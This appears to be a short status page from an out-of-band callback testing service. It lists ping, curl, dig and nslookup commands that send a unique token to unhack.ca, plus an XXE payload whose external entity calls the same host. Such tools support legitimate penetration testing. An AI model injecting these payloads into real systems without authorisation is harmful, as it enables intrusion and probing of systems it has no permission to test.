$ ping -c1 -p 00beed1805e5060f2cc58f94a4435400 unhack.ca
 
$ curl http://unhack.ca/p/beed1805e5060f2cc58f94a44354
 
$ dig beed1805e5060f2cc58f94a44354 @unhack.ca
 
$ dig beed1805e5060f2cc58f94a44354.ns.unhack.ca
 
C:\> nslookup beed1805e5060f2cc58f94a44354 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/beed1805e5060f2cc58f94a44354">]>
    <foo>&xxe;</foo>
 
Waiting for ping...